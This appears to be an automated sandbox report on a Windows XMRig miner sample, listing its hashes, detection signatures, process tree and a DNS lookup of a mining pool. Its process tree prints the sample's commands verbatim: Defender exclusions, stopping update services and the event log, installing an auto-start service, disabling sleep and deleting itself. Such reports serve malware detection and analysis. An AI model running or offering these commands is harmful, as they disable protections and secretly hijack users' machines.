Analysis
-
max time kernel
98s -
max time network
31s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
02-08-2024 09:07
Static task
static1
Behavioral task
behavioral1
Sample
82da016d3d0560b26578da30cc962470N.exe
Resource
win7-20240704-en
General
-
Target
82da016d3d0560b26578da30cc962470N.exe
-
Size
5.4MB
-
MD5
82da016d3d0560b26578da30cc962470
-
SHA1
299ec2a311a5d2984a2d1c710afdfc7ed91f8eed
-
SHA256
99b86f4472f3b0b1b252e60be361cfbd7e428ee18d36df584446af823ea62b83
-
SHA512
dc84e2d4395c2f4099a9c665f875728b143782ee649d5983c8b0029052b19f4e4f05d23a2eadc5fedcf867bec43c3def57f9ee44e8c1261a534728931a9a9688
-
SSDEEP
98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7
Malware Config
Signatures
-
XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/1464-32-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1464-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1464-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1464-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1464-35-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1464-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1464-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1464-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2324 powershell.exe 2856 powershell.exe -
Creates new service(s) 2 TTPs
-
Deletes itself 1 IoCs
pid Process 2504 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 464 Process not Found 2628 lutlgidagtja.exe -
Loads dropped DLL 1 IoCs
pid Process 464 Process not Found -
resource yara_rule behavioral1/memory/1464-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1464-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1464-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1464-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1464-27-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1464-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1464-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1464-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1464-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1464-35-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1464-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1464-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1464-40-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2696 powercfg.exe 1272 powercfg.exe 1508 powercfg.exe 1620 powercfg.exe 2060 powercfg.exe 1968 powercfg.exe 2564 powercfg.exe 2692 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 82da016d3d0560b26578da30cc962470N.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe lutlgidagtja.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2628 set thread context of 1880 2628 lutlgidagtja.exe 82 PID 2628 set thread context of 1464 2628 lutlgidagtja.exe 87 -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2656 sc.exe 2652 sc.exe 3016 sc.exe 1460 sc.exe 2592 sc.exe 3020 sc.exe 2760 sc.exe 1036 sc.exe 3004 sc.exe 2232 sc.exe 432 sc.exe 2984 sc.exe 2572 sc.exe 988 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c0eaa078bbe4da01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2472 82da016d3d0560b26578da30cc962470N.exe 2324 powershell.exe 2472 82da016d3d0560b26578da30cc962470N.exe 2472 82da016d3d0560b26578da30cc962470N.exe 2472 82da016d3d0560b26578da30cc962470N.exe 2472 82da016d3d0560b26578da30cc962470N.exe 2472 82da016d3d0560b26578da30cc962470N.exe 2472 82da016d3d0560b26578da30cc962470N.exe 2472 82da016d3d0560b26578da30cc962470N.exe 2472 82da016d3d0560b26578da30cc962470N.exe 2472 82da016d3d0560b26578da30cc962470N.exe 2472 82da016d3d0560b26578da30cc962470N.exe 2472 82da016d3d0560b26578da30cc962470N.exe 2472 82da016d3d0560b26578da30cc962470N.exe 2472 82da016d3d0560b26578da30cc962470N.exe 2472 82da016d3d0560b26578da30cc962470N.exe 2472 82da016d3d0560b26578da30cc962470N.exe 2628 lutlgidagtja.exe 2856 powershell.exe 2628 lutlgidagtja.exe 2628 lutlgidagtja.exe 2628 lutlgidagtja.exe 2628 lutlgidagtja.exe 2628 lutlgidagtja.exe 2628 lutlgidagtja.exe 2628 lutlgidagtja.exe 2628 lutlgidagtja.exe 2628 lutlgidagtja.exe 2628 lutlgidagtja.exe 2628 lutlgidagtja.exe 2628 lutlgidagtja.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe 1464 nslookup.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 464 Process not Found -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2324 powershell.exe Token: SeShutdownPrivilege 1968 powercfg.exe Token: SeShutdownPrivilege 2692 powercfg.exe Token: SeShutdownPrivilege 2564 powercfg.exe Token: SeShutdownPrivilege 2696 powercfg.exe Token: SeDebugPrivilege 2856 powershell.exe Token: SeShutdownPrivilege 2060 powercfg.exe Token: SeShutdownPrivilege 1272 powercfg.exe Token: SeShutdownPrivilege 1508 powercfg.exe Token: SeShutdownPrivilege 1620 powercfg.exe Token: SeLockMemoryPrivilege 1464 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 1368 wrote to memory of 2680 1368 cmd.exe 36 PID 1368 wrote to memory of 2680 1368 cmd.exe 36 PID 1368 wrote to memory of 2680 1368 cmd.exe 36 PID 2504 wrote to memory of 2844 2504 cmd.exe 61 PID 2504 wrote to memory of 2844 2504 cmd.exe 61 PID 2504 wrote to memory of 2844 2504 cmd.exe 61 PID 1836 wrote to memory of 1480 1836 cmd.exe 69 PID 1836 wrote to memory of 1480 1836 cmd.exe 69 PID 1836 wrote to memory of 1480 1836 cmd.exe 69 PID 2628 wrote to memory of 1880 2628 lutlgidagtja.exe 82 PID 2628 wrote to memory of 1880 2628 lutlgidagtja.exe 82 PID 2628 wrote to memory of 1880 2628 lutlgidagtja.exe 82 PID 2628 wrote to memory of 1880 2628 lutlgidagtja.exe 82 PID 2628 wrote to memory of 1880 2628 lutlgidagtja.exe 82 PID 2628 wrote to memory of 1880 2628 lutlgidagtja.exe 82 PID 2628 wrote to memory of 1880 2628 lutlgidagtja.exe 82 PID 2628 wrote to memory of 1880 2628 lutlgidagtja.exe 82 PID 2628 wrote to memory of 1880 2628 lutlgidagtja.exe 82 PID 2628 wrote to memory of 1464 2628 lutlgidagtja.exe 87 PID 2628 wrote to memory of 1464 2628 lutlgidagtja.exe 87 PID 2628 wrote to memory of 1464 2628 lutlgidagtja.exe 87 PID 2628 wrote to memory of 1464 2628 lutlgidagtja.exe 87 PID 2628 wrote to memory of 1464 2628 lutlgidagtja.exe 87
Processes
-
C:\Users\Admin\AppData\Local\Temp\82da016d3d0560b26578da30cc962470N.exe"C:\Users\Admin\AppData\Local\Temp\82da016d3d0560b26578da30cc962470N.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2472 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2324
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1368 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2680
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2656
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2760
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2652
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1036
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2984
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1968
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2564
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2692
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2696
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JIOGRCSG"2⤵
- Launches sc.exe
PID:2572
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"2⤵
- Launches sc.exe
PID:3020
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:3004
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JIOGRCSG"2⤵
- Launches sc.exe
PID:988
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\82da016d3d0560b26578da30cc962470N.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2504 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2844
-
-
-
C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exeC:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2628 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2856
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1836 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:1480
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:3016
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1460
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2232
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:432
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2592
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1272
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1508
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1620
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2060
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:1880
-
-
C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1464
-
Network
-
Remote address:8.8.8.8:53Requestus-zephyr.miningocean.orgIN AResponseus-zephyr.miningocean.orgIN A15.204.240.197us-zephyr.miningocean.orgIN A15.204.244.104
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5.4MB
MD582da016d3d0560b26578da30cc962470
SHA1299ec2a311a5d2984a2d1c710afdfc7ed91f8eed
SHA25699b86f4472f3b0b1b252e60be361cfbd7e428ee18d36df584446af823ea62b83
SHA512dc84e2d4395c2f4099a9c665f875728b143782ee649d5983c8b0029052b19f4e4f05d23a2eadc5fedcf867bec43c3def57f9ee44e8c1261a534728931a9a9688